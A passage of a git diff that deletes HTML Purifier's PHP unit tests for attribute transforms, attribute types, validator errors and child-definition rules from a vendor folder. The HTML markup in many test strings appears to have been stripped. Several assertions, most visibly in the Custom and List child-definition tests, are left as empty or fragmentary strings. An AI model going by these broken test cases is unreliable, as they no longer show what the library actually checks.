{ - $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'right' => 'text-align:right;' - )); - $this->assertResult( - array('align' => 'RIGHT'), - array('style' => 'text-align:right;') - ); - } - - public function testCaseSensitive() - { - $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'right' => 'text-align:right;' - ), true); - $this->assertResult( - array('align' => 'RIGHT'), - array() - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php deleted file mode 100644 index e1d25269f..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php +++ /dev/null @@ -1,61 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_ImgRequired(); - } - - public function testAddMissingAttr() - { - $this->config->set('Core.RemoveInvalidImg', false); - $this->assertResult( - array(), - array('src' => '', 'alt' => 'Invalid image') - ); - } - - public function testAlternateDefaults() - { - $this->config->set('Attr.DefaultInvalidImage', 'blank.png'); - $this->config->set('Attr.DefaultInvalidImageAlt', 'Pawned!'); - $this->config->set('Attr.DefaultImageAlt', 'not pawned'); - $this->config->set('Core.RemoveInvalidImg', false); - $this->assertResult( - array(), - array('src' => 'blank.png', 'alt' => 'Pawned!') - ); - } - - public function testGenerateAlt() - { - $this->assertResult( - array('src' => '/path/to/foobar.png'), - array('src' => '/path/to/foobar.png', 'alt' => 'foobar.png') - ); - } - - public function testAddDefaultSrc() - { - $this->config->set('Core.RemoveInvalidImg', false); - $this->assertResult( - array('alt' => 'intrigue'), - array('alt' => 'intrigue', 'src' => '') - ); - } - - public function testAddDefaultAlt() - { - $this->config->set('Attr.DefaultImageAlt', 'default'); - $this->assertResult( - array('src' => ''), - array('src' => '', 'alt' => 'default') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php deleted file mode 100644 index 9240f09a6..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php +++ /dev/null @@ -1,62 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_ImgSpace('vspace'); - } - - public function testEmptyInput() - { - $this->assertResult( array() ); - } - - public function testVerticalBasicUsage() - { - $this->assertResult( - array('vspace' => '1'), - array('style' => 'margin-top:1px;margin-bottom:1px;') - ); - } - - public function testLenientHandlingOfInvalidInput() - { - $this->assertResult( - array('vspace' => '10%'), - array('style' => 'margin-top:10%px;margin-bottom:10%px;') - ); - } - - public function testPrependNewCSS() - { - $this->assertResult( - array('vspace' => '23', 'style' => 'font-weight:bold;'), - array('style' => 'margin-top:23px;margin-bottom:23px;font-weight:bold;') - ); - } - - public function testHorizontalBasicUsage() - { - $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('hspace'); - $this->assertResult( - array('hspace' => '1'), - array('style' => 'margin-left:1px;margin-right:1px;') - ); - } - - public function testInvalidConstructionParameter() - { - $this->expectError('ispace is not valid space attribute'); - $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('ispace'); - $this->assertResult( - array('ispace' => '1'), - array() - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php deleted file mode 100644 index 0a87d0b92..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php +++ /dev/null @@ -1,105 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Input(); - } - - public function testEmptyInput() - { - $this->assertResult(array()); - } - - public function testInvalidCheckedWithEmpty() - { - $this->assertResult(array('checked' => 'checked'), array()); - } - - public function testInvalidCheckedWithPassword() - { - $this->assertResult(array( - 'checked' => 'checked', - 'type' => 'password' - ), array( - 'type' => 'password' - )); - } - - public function testValidCheckedWithUcCheckbox() - { - $this->assertResult(array( - 'checked' => 'checked', - 'type' => 'CHECKBOX', - 'value' => 'bar', - )); - } - - public function testInvalidMaxlength() - { - $this->assertResult(array( - 'maxlength' => '10', - 'type' => 'checkbox', - 'value' => 'foo', - ), array( - 'type' => 'checkbox', - 'value' => 'foo', - )); - } - - public function testValidMaxLength() - { - $this->assertResult(array( - 'maxlength' => '10', - )); - } - - // these two are really bad test-cases - - public function testSizeWithCheckbox() - { - $this->assertResult(array( - 'type' => 'checkbox', - 'value' => 'foo', - 'size' => '100px', - ), array( - 'type' => 'checkbox', - 'value' => 'foo', - 'size' => '100', - )); - } - - public function testSizeWithText() - { - $this->assertResult(array( - 'type' => 'password', - 'size' => '100px', // spurious value, to indicate no validation takes place - ), array( - 'type' => 'password', - 'size' => '100px', - )); - } - - public function testInvalidSrc() - { - $this->assertResult(array( - 'src' => 'img.png', - ), array()); - } - - public function testMissingValue() - { - $this->assertResult(array( - 'type' => 'checkbox', - ), array( - 'type' => 'checkbox', - 'value' => '', - )); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php deleted file mode 100644 index 23f3bfac6..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php +++ /dev/null @@ -1,52 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Lang(); - } - - public function testEmptyInput() - { - $this->assertResult(array()); - } - - public function testCopyLangToXMLLang() - { - $this->assertResult( - array('lang' => 'en'), - array('lang' => 'en', 'xml:lang' => 'en') - ); - } - - public function testPreserveAttributes() - { - $this->assertResult( - array('src' => 'vert.png', 'lang' => 'fr'), - array('src' => 'vert.png', 'lang' => 'fr', 'xml:lang' => 'fr') - ); - } - - public function testCopyXMLLangToLang() - { - $this->assertResult( - array('xml:lang' => 'en'), - array('xml:lang' => 'en', 'lang' => 'en') - ); - } - - public function testXMLLangOverridesLang() - { - $this->assertResult( - array('lang' => 'fr', 'xml:lang' => 'de'), - array('lang' => 'de', 'xml:lang' => 'de') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php deleted file mode 100644 index 36bb72eaf..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php +++ /dev/null @@ -1,51 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Length('width'); - } - - public function testEmptyInput() - { - $this->assertResult( array() ); - } - - public function testTransformPixel() - { - $this->assertResult( - array('width' => '10'), - array('style' => 'width:10px;') - ); - } - - public function testTransformPercentage() - { - $this->assertResult( - array('width' => '10%'), - array('style' => 'width:10%;') - ); - } - - public function testPrependNewCSS() - { - $this->assertResult( - array('width' => '10%', 'style' => 'font-weight:bold'), - array('style' => 'width:10%;font-weight:bold') - ); - } - - public function testLenientTreatmentOfInvalidInput() - { - $this->assertResult( - array('width' => 'asdf'), - array('style' => 'width:asdf;') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php deleted file mode 100644 index 989b0ee84..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php +++ /dev/null @@ -1,45 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_NameSync(); - $this->accumulator = new HTMLPurifier_IDAccumulator(); - $this->context->register('IDAccumulator', $this->accumulator); - $this->config->set('Attr.EnableID', true); - } - - public function testEmpty() - { - $this->assertResult( array() ); - } - - public function testAllowSame() - { - $this->assertResult( - array('name' => 'free', 'id' => 'free') - ); - } - - public function testAllowDifferent() - { - $this->assertResult( - array('name' => 'tryit', 'id' => 'thisgood') - ); - } - - public function testCheckName() - { - $this->accumulator->add('notok'); - $this->assertResult( - array('name' => 'notok', 'id' => 'ok'), - array('id' => 'ok') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php deleted file mode 100644 index 714f4e50c..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php +++ /dev/null @@ -1,35 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Name(); - } - - public function testEmpty() - { - $this->assertResult( array() ); - } - - public function testTransformNameToID() - { - $this->assertResult( - array('name' => 'free'), - array('id' => 'free') - ); - } - - public function testExistingIDOverridesName() - { - $this->assertResult( - array('name' => 'tryit', 'id' => 'tobad'), - array('id' => 'tobad') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php deleted file mode 100644 index 178d49c28..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php +++ /dev/null @@ -1,14 +0,0 @@ -func = 'transform'; - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php deleted file mode 100644 index e2aeac765..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php +++ /dev/null @@ -1,45 +0,0 @@ -prependCSS($attr, 'style:new;'); - $this->assertIdentical(array('style' => 'style:new;'), $attr); - - $attr = array('style' => 'style:original;'); - $t->prependCSS($attr, 'style:new;'); - $this->assertIdentical(array('style' => 'style:new;style:original;'), $attr); - - $attr = array('style' => 'style:original;', 'misc' => 'un-related'); - $t->prependCSS($attr, 'style:new;'); - $this->assertIdentical(array('style' => 'style:new;style:original;', 'misc' => 'un-related'), $attr); - - } - - public function test_confiscateAttr() - { - $t = new HTMLPurifier_AttrTransformTestable(); - - $attr = array('flavor' => 'sweet'); - $this->assertIdentical('sweet', $t->confiscateAttr($attr, 'flavor')); - $this->assertIdentical(array(), $attr); - - $attr = array('flavor' => 'sweet'); - $this->assertIdentical(null, $t->confiscateAttr($attr, 'color')); - $this->assertIdentical(array('flavor' => 'sweet'), $attr); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php deleted file mode 100644 index 4881ac7b6..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php +++ /dev/null @@ -1,27 +0,0 @@ -assertIdentical( - $types->get('CDATA'), - new HTMLPurifier_AttrDef_Text() - ); - - $this->expectError('Cannot retrieve undefined attribute type foobar'); - $types->get('foobar'); - - $this->assertIdentical( - $types->get('Enum#foo,bar'), - new HTMLPurifier_AttrDef_Enum(array('foo', 'bar')) - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php deleted file mode 100644 index b3c21b6ea..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php +++ /dev/null @@ -1,71 +0,0 @@ -language = HTMLPurifier_LanguageFactory::instance()->create($config, $this->context); - $this->context->register('Locale', $this->language); - $this->collector = new HTMLPurifier_ErrorCollector($this->context); - $this->context->register('Generator', new HTMLPurifier_Generator($config, $this->context)); - } - - protected function invoke($input) - { - $validator = new HTMLPurifier_AttrValidator(); - $validator->validateToken($input, $this->config, $this->context); - } - - public function testAttributesTransformedGlobalPre() - { - $def = $this->config->getHTMLDefinition(true); - generate_mock_once('HTMLPurifier_AttrTransform'); - $transform = new HTMLPurifier_AttrTransformMock(); - $input = array('original' => 'value'); - $output = array('class' => 'value'); // must be valid - $transform->setReturnValue('transform', $output, array($input, new AnythingExpectation(), new AnythingExpectation())); - $def->info_attr_transform_pre[] = $transform; - - $token = new HTMLPurifier_Token_Start('span', $input, 1); - $this->invoke($token); - - $result = $this->collector->getRaw(); - $expect = array( - array(1, E_NOTICE, 'Attributes on transformed from original to class', array()), - ); - $this->assertIdentical($result, $expect); - } - - public function testAttributesTransformedLocalPre() - { - $this->config->set('HTML.TidyLevel', 'heavy'); - $input = array('align' => 'right'); - $output = array('style' => 'text-align:right;'); - $token = new HTMLPurifier_Token_Start('p', $input, 1); - $this->invoke($token); - $result = $this->collector->getRaw(); - $expect = array( - array(1, E_NOTICE, 'Attributes on

    transformed from align to style', array()), - ); - $this->assertIdentical($result, $expect); - } - - // too lazy to check for global post and global pre - - public function testAttributeRemoved() - { - $token = new HTMLPurifier_Token_Start('p', array('foobar' => 'right'), 1); - $this->invoke($token); - $result = $this->collector->getRaw(); - $expect = array( - array(1, E_ERROR, 'foobar attribute on

    removed', array()), - ); - $this->assertIdentical($result, $expect); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php deleted file mode 100644 index 1a751395c..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php +++ /dev/null @@ -1,44 +0,0 @@ -obj = new HTMLPurifier_ChildDef_Chameleon( - 'b | i', // allowed only when in inline context - 'b | i | div' // allowed only when in block context - ); - $this->context->register('IsInline', $this->isInline); - } - - public function testInlineAlwaysAllowed() - { - $this->isInline = true; - $this->assertResult( - 'Allowed.' - ); - } - - public function testBlockNotAllowedInInline() - { - $this->isInline = true; - $this->assertResult( - '

    Not allowed.
    ', '' - ); - } - - public function testBlockAllowedInNonInline() - { - $this->isInline = false; - $this->assertResult( - '
    Allowed.
    ' - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php deleted file mode 100644 index 0094323d5..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php +++ /dev/null @@ -1,99 +0,0 @@ -obj = new HTMLPurifier_ChildDef_Custom('(a,b?,c*,d+,(a,b)*)'); - - $this->assertEqual($this->obj->elements, array('a' => true, - 'b' => true, 'c' => true, 'd' => true)); - - $this->assertResult('', false); - $this->assertResult('', false); - - $this->assertResult(''); - $this->assertResult('Dobfoo'. - 'foo'); - - } - - public function testNesting() - { - $this->obj = new HTMLPurifier_ChildDef_Custom('(a,b,(c|d))+'); - $this->assertEqual($this->obj->elements, array('a' => true, - 'b' => true, 'c' => true, 'd' => true)); - $this->assertResult('', false); - $this->assertResult(''); - $this->assertResult('', false); - } - - public function testNestedEitherOr() - { - $this->obj = new HTMLPurifier_ChildDef_Custom('b,(a|(c|d))+'); - $this->assertEqual($this->obj->elements, array('a' => true, - 'b' => true, 'c' => true, 'd' => true)); - $this->assertResult('', false); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult('', false); - } - - public function testNestedQuantifier() - { - $this->obj = new HTMLPurifier_ChildDef_Custom('(b,c+)*'); - $this->assertEqual($this->obj->elements, array('b' => true, 'c' => true)); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult('', false); - } - - public function testEitherOr() - { - $this->obj = new HTMLPurifier_ChildDef_Custom('a|b'); - $this->assertEqual($this->obj->elements, array('a' => true, 'b' => true)); - $this->assertResult('', false); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult('', false); - - } - - public function testCommafication() - { - $this->obj = new HTMLPurifier_ChildDef_Custom('a,b'); - $this->assertEqual($this->obj->elements, array('a' => true, 'b' => true)); - $this->assertResult(''); - $this->assertResult('', false); - - } - - public function testPcdata() - { - $this->obj = new HTMLPurifier_ChildDef_Custom('#PCDATA,a'); - $this->assertEqual($this->obj->elements, array('#PCDATA' => true, 'a' => true)); - $this->assertResult('foo'); - $this->assertResult('', false); - } - - public function testWhitespace() - { - $this->obj = new HTMLPurifier_ChildDef_Custom('a'); - $this->assertEqual($this->obj->elements, array('a' => true)); - $this->assertResult('foo', false); - $this->assertResult(''); - $this->assertResult(' '); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php b/vendor/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php deleted file mode 100644 index 0e3d5c72f..000000000 --- a/vendor/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php +++ /dev/null @@ -1,54 +0,0 @@ -obj = new HTMLPurifier_ChildDef_List(); - } - - public function testEmptyInput() - { - $this->assertResult('', false); - } - - public function testSingleLi() - { - $this->assertResult('
  • '); - } - - public function testSomeLi() - { - $this->assertResult('
  • asdf
  • '); - } - - public function testOlAtBeginning() - { - $this->assertResult('
      ', '
      1. '); - } - - public function testOlAtBeginningWithOtherJunk() - { - $this->assertResult('
        1. ', '
          1. '); - } - - public function testOlInMiddle() - { - $this->assertResult('
          2. Foo
            1. Bar
            ', '
          3. Foo
            1. Bar
          4. '); - } - - public function testMultipleOl() - { - $this->assertResult('
              1. ', '
                  1. '); - } - - public function testUlAtBeginning() - { - $this->assertResult('